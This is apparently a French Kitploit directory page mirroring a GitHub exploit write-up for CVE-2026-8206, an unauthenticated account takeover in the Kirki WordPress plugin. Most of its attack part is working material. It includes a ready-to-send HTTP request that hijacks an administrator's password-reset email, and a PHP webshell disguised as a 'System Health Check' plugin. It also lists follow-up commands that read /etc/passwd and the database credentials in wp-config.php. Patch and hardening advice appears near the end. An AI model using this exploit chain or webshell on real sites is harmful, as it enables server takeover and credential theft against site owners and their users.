Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8206 — CVE-2026-8206 : Kirki Customizer Framework - Prise de contrôle de compte non authentifiée (CVSS 9.8) | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2026-8206
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationArticles et RechercheApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206 : Kirki Customizer Framework - Prise de contrôle de compte non authentifiée (CVSS 9.8)

15il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

CVE-2026-8206

Vulnérabilité : prise de contrôle de compte non authentifiée — détournement de l'e-mail de réinitialisation de mot de passe dans Kirki Customizer Framework

CVSS v3.1 9.8 / 10.0 CRITIQUE

Vecteur : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. Vue d'ensemble

CVE-2026-8206 est une vulnérabilité de prise de contrôle de compte non authentifiée dans Kirki Customizer Framework — un plugin WordPress populaire de création de pages avec plus de 90 000 installations actives. La vulnérabilité permet à un attaquant de prendre le contrôle de n'importe quel compte WordPress (y compris celui d'un administrateur) en envoyant simplement une seule requête HTTP.

Le bug réside dans le point de terminaison REST API kirki-forgot-password du module ComponentLibrary. Ce point de terminaison permet de demander la réinitialisation du mot de passe de n'importe quel utilisateur et envoie le lien de réinitialisation à une adresse e-mail spécifiée par l'attaquant, au lieu de l'adresse e-mail enregistrée de l'utilisateur.

Conditions préalables à l'exploitation :

  • Kirki Customizer Framework 6.0.0–6.0.6 est activé
  • L'API REST est publique (par défaut dans WordPress)
  • Le module ComponentLibrary est actif (par défaut lorsque le plugin est actif)
  • Aucun compte ni session n'est requis

→ Chaque site WordPress avec Kirki 6.0.0–6.0.6 installé est vulnérable par défaut.

2. Terminologie

Points de terminaison REST de ComponentLibrary

Kirki enregistre des points de terminaison REST API pour la fonctionnalité Component Library, notamment login, register, forgot-password et change-password. Tous autorisent l'accès invité (guest_permissions_check renvoie true).

Validation du nonce

Le nonce WordPress est un jeton de protection CSRF. Kirki exige un nonce via l'en-tête X-WP-Element-Nonce ou vérifie un paramètre nonce dans la requête. Cependant, le nonce peut être généré/extrait publiquement côté client.

Clé de réinitialisation de mot de passe

WordPress utilise get_password_reset_key() pour générer un jeton de réinitialisation de mot de passe. Ce jeton est inclus par Kirki dans le modèle d'e-mail avant l'envoi.

3. Cause racine — Détournement de l'e-mail de réinitialisation de mot de passe

Fichier : ComponentLibrary/controller/CompLibFormHandler.php

Bug 1 : Absence de validation de correspondance e-mail-utilisateur

Dans la version vulnérable (6.0.0–6.0.6), la fonction handle_forgot_password() ne vérifie pas si l'e-mail fourni correspond à l'e-mail enregistré de l'utilisateur. Un attaquant peut spécifier le nom d'utilisateur de la victime et son propre e-mail — le lien de réinitialisation sera envoyé à l'e-mail de l'attaquant.

Code source vulnérable :

root@kitploit:~
public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

Bug 2 : Absence de signature HMAC sur le modèle d'e-mail

L'objet et le corps de l'e-mail sont reçus du client via les paramètres emailSubject et emailBody sans aucune signature HMAC pour vérifier leur intégrité. L'attaquant peut modifier arbitrairement le contenu de l'e-mail envoyé.

root@kitploit:~
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. Pourquoi cette vulnérabilité est dangereuse

FacteurExplication

5. Analyse de la chaîne d'attaque

L'exploitation de CVE-2026-8206 part d'un accès nul — aucun compte, aucun mot de passe, aucune session — jusqu'à la prise de contrôle totale du compte admin en utilisant uniquement des requêtes HTTP.

root@kitploit:~
Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 Méthodologie de construction du payload

Étape 1 : Lecture du code source (méthode la plus précise)

Téléchargez le plugin depuis wordpress.org et ouvrez directement le fichier CompLibFormHandler.php :

root@kitploit:~
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ La lecture du code révèle : emailBody doit être un tableau JSON, chaque élément possède type et value. Si type = chip et value = reset_link, Kirki insère automatiquement le lien de réinitialisation dans l'e-mail.

Étape 2 : Recherche grep dans le bundle JavaScript du plugin

Effectuez une recherche grep directement dans le répertoire du plugin :

root@kitploit:~
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

Le code frontend compilé révélera la structure JSON exacte requise.

Résumé du processus de découverte du payload :

root@kitploit:~
Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 Phase 1 : Détournement de l'e-mail de réinitialisation de mot de passe

L'attaquant envoie une requête POST au point de terminaison forgot-password avec le nom d'utilisateur de la victime (admin) et une adresse e-mail contrôlée par l'attaquant ([email protected]). Le serveur génère une clé de réinitialisation pour la victime mais envoie le lien de réinitialisation à [email protected].

Envoi de la requête :

root@kitploit:~
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Interceptor request sending reset email

Réponse (succès) :

Response confirming email sent

E-mail reçu dans la boîte mail de l'attaquant (MailHog sur http://localhost:8025) :

root@kitploit:~
Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

MailHog inbox receiving reset key

5.2 Phase 2 : Réinitialisation du mot de passe et connexion admin

L'attaquant utilise le jeton key obtenu depuis l'e-mail pour modifier le mot de passe du compte admin via le point de terminaison kirki-change-password ou le formulaire par défaut de WordPress, puis se connecte et obtient le contrôle administratif complet du site web.

Password reset form

Mot de passe modifié et accès effectué avec le compte admin.

Admin dashboard login success

Accès au compte admin réussi.

5.3 Phase 3 : Téléversement du webshell et RCE

Après avoir obtenu l'accès au tableau de bord admin, l'attaquant passe d'une prise de contrôle de compte à une exécution de code à distance (RCE) via la fonctionnalité par défaut de téléversement de plugin de WordPress.

Étape 1 : Créer un plugin contenant un webshell

L'attaquant crée un webshell PHP déguisé en plugin WordPress légitime :

root@kitploit:~
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

Ce fichier est compressé dans system-health.zip pour être téléversé via l'interface Admin.

Étape 2 : Téléverser le plugin via le tableau de bord Admin

L'attaquant navigue vers Plugins → Add New Plugin → Upload Plugin, sélectionne le fichier system-health.zip et clique sur Install Now → Activate Plugin.

Upload plugin interface

Après le téléversement, WordPress extrait automatiquement le fichier .zip dans le répertoire /wp-content/plugins/ du serveur, ce qui rend le webshell prêt à fonctionner.

Étape 3 : Exécuter des commandes sur le serveur (RCE)

L'attaquant accède directement au webshell via le point de terminaison /wp-content/plugins/webshell-plugin/shell.php

RCE command execution whoami

RCE command execution passwd

RCE réussie.

À ce stade, l'attaquant dispose d'une capacité totale d'exécution de commandes sur le serveur avec les privilèges www-data. Les actions ultérieures peuvent inclure :

Résumé de la chaîne d'élévation de privilèges :

root@kitploit:~
Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

6. Résumé de la chaîne d'attaque


7. Défense et remédiation

7.1 Correctif du plugin (solution définitive)

Version actuelleMise à niveau vers
6.0.0 – 6.0.66.0.7 ou plus récente

7.2 Correctif de code — Vérifier que l'e-mail correspond à l'utilisateur

root@kitploit:~
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email

7.3 Durcissement — Prévenir l'escalade vers RCE

Même si le compte Admin est compromis, les dégâts peuvent être atténués grâce aux mesures suivantes :

Télécharger l’outil
InformationDétails
PluginKirki Customizer Framework (WordPress Page Builder)
Versions concernées6.0.0 – 6.0.6
Version corrigée6.0.7 (ou 6.0.12+)
Type de vulnérabilitéPrise de contrôle de compte non authentifiée via détournement de l'e-mail de réinitialisation de mot de passe
Point de terminaison/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (ou /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 CRITIQUE
Aucune authentification requiseguest_permissions_check() renvoie true — n'importe qui peut appeler le point de terminaison
N'importe quel compte peut être compromisSeul le nom d'utilisateur est nécessaire (par défaut : 'admin') — aucun e-mail/mot de passe requis
Impact : prise de contrôle adminPrise de contrôle admin → upload de webshell → RCE → contrôle total du serveur
Large diffusionKirki est un plugin largement intégré dans de nombreux thèmes WordPress
CommandeObjectif
idConfirmer les privilèges de l'utilisateur en cours
whoamiAfficher le nom d'utilisateur actuel
cat /etc/passwdLire la liste des utilisateurs du système
uname -aAfficher les informations du noyau/système d'exploitation
cat wp-config.phpLire les identifiants de la base de données
ls -la /Parcourir tout le système de fichiers
#PhaseMéthodeChemin
1Détournement de l'e-mail de réinitialisationPOST/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
2Réinitialisation du mot de passeGET/wp-login.php?action=rp&key=<token>&login=admin
3Connexion adminPOST/wp-login.php
4Téléversement du webshellPOST/wp-admin/update.php?action=upload-plugin
5RCEGET/wp-content/plugins/webshell-plugin/shell.php?cmd=<command>
MesureConfiguration
Bloquer l'installation de plugins/thèmes via le tableau de bordAjouter define('DISALLOW_FILE_MODS', true); dans wp-config.php
Bloquer l'édition de code depuis le tableau de bordAjouter define('DISALLOW_FILE_EDIT', true); dans wp-config.php
Restreindre les permissions du répertoire d'uploadchmod 755 pour les répertoires, chmod 644 pour les fichiers
WAF (Web Application Firewall)Déployer ModSecurity ou Cloudflare WAF pour bloquer les requêtes anormales vers l'API REST
SurveillanceSurveiller les modifications de fichiers dans /wp-content/plugins/ à l'aide d'outils comme OSSEC ou Wordfence